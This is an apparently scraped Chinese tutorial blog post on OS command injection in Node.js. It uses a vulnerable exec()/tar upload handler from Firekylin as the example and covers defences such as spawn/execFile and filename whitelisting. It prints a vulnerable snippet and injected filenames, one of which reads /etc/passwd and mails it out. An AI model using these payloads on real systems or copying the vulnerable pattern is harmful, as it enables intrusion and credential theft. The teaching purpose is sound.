上週咱們分享了一篇 《Web 安全漏洞之 SQL 注入》,其原理簡單來講就是由於 SQL 是一種結構化字符串語言,攻擊者利用能夠隨意構造語句的漏洞構造了開發者意料以外的語句。而今天要講的 OS 命令注入其實原理和 SQL 注入是相似的,只是場景不同而已。OS 注入攻擊是指程序提供了直接執行 Shell 命令的函數的場景,當攻擊者不合理使用,且開發者對用戶參數未考慮安全因素的話,就會執行惡意的命令調用,被攻擊者利用。javascript
在 Node.js 中可使用 exec()
執行命令。以基於 ThinkJS 開發的博客系統 Firekylin 爲例,其中有一個用戶上傳壓縮包導入數據的功能,爲了方便直接使用了 tar
命令去解壓文件,大體代碼以下:java
const { exec } = require('child_process');
const extractPath = path.join(think.RUNTIME_PATH, 'importMarkdownFileToFirekylin');
module.exports = class extends think.Controller {
async upload() {
const { path: filePath } = this.file('import');
exec(`rm -rf ${extractPath}; mkdir ${extractPath}; cd ${PATH}; tar zvxf "${filePath}"`);
}
}
複製代碼
其中 filePath
是用戶上傳文件的包含文件名的臨時上傳路徑。假設此時用戶上傳的文件名爲 $(whoami).tar.gz
,那麼最後 exec()
就至關於執行了 tar zvxf "/xxx/runtime/$(whoami).tar.gz"
。而 Bash 的話雙引號中的 $()
包裹部分會被當作命令執行,最終達到了用戶超乎程序設定直接執行 Shell 命令的可怕結果。相似的寫法還有 ``
包裹。固然我這裏寫的是 whoami
命令顯得效果還好,若是是 $(cat /etc/passwd | mail -s "host" i@imnerd.org).tar.gz
能直接獲取到機器密碼之類的就能體會出這個漏洞的可怕了吧。node
爲何使用 exec 會出問題?shell
由於在child_process.exec引擎下,將調用執行"/bin/sh"。而不是目標程序。已發送的命令只是被傳遞給一個新的"/bin/ sh'進程來執行shell。 child_process.exec的名字有必定誤導性 - 這是一個bash的解釋器,而不是啓動一個程序。這意味着,全部的shell字符可能會產生毀滅性的後果,若是直接執行用戶輸入的參數。 via: 《避免Node.js中的命令行注入安全漏洞》數組
正如剛纔所說,因爲能獲取直接執行系統命令的能力,因此 OS 命令注入漏洞的危害想必不須要我再強調一遍。總之就是基本上能「隨心所欲」吧。安全
在 Node.js 中除了 exec()
以外,還有 execFile()
和 spawn()
兩個方法也能夠用來執行系統命令。它們和 exec()
的區別是後者是直接將一個命令字符串傳給 /bin/sh
執行,而前者是提供了一個數組做爲參數容器,最後參數會被直接傳到 C 的命令執行方法 execve()
中,不容易執行額外的參數。bash
當使用 spawn 或 execfile 時,咱們的目標是隻執行一個命令(參數)。這意味着用戶不能運行注入的命令,由於
/bin/ls
並不知道如何處理反引號或管道操做或;。它的/bin/sh
將要解釋的是那些命令的參數。 via: 《避免Node.js中的命令行注入安全漏洞》網絡
不過這個也不是完美之策,這個實際上是利用了執行的命令只接受普通參數來作的過濾。可是某些命令,例如 /bin/find
,它提供了 -exec
參數,後續的參數傳入後會被其當成命令執行,這樣又回到了最開始的狀態了。async
除了上面的方法以外,咱們也能夠選擇對用戶輸入的參數進行過濾校驗。例如在文章開頭的上傳文件的示例裏,因爲是用戶上傳的文件名,根據上下文咱們能夠對其限制僅容許純英文的文件名其它的都過濾掉,這樣也能避免被注入的目的。固然黑名單也不是不能夠,只是須要考慮的狀況比較多,像上文說的``
,$()
等等狀況都須要考慮,再加上轉義之類的操做防不勝防,相比之下仍是白名單簡單高效。函數
let { path: filePath } = this.file('import');
filePath = filePath.replace(/[^a-zA-Z0-9.\/_-]/g, '');
複製代碼
固然最好仍是不要容許用戶輸入參數,只容許用戶選擇比較好。
網絡上關於 Node.js 的命令注入漏洞描述的文章比較少,大多都是 PHP 的。雖然大道理是相同的,不過在具體的防護處理上不一樣的語言稍微有點不同,因此寫下這篇文章分享給你們。固然除了作校驗以外,使用非 root 權限用戶執行程序限制其權限也能有必定的做用。另外能夠按期的搜索下代碼中使用 exec()
命令的地方,看看有沒有問題。原本這時候應該給你們推薦一款靜態分析工具來代替人肉掃描的,不過奈何 Node.js 這方面的靜態分析工具很少。總之,平常開發中能不是用系統命令的儘可能不是用,實在不得以要用的話也要作好校驗,是用 spawn()
等相較安全的方法。
參考資料: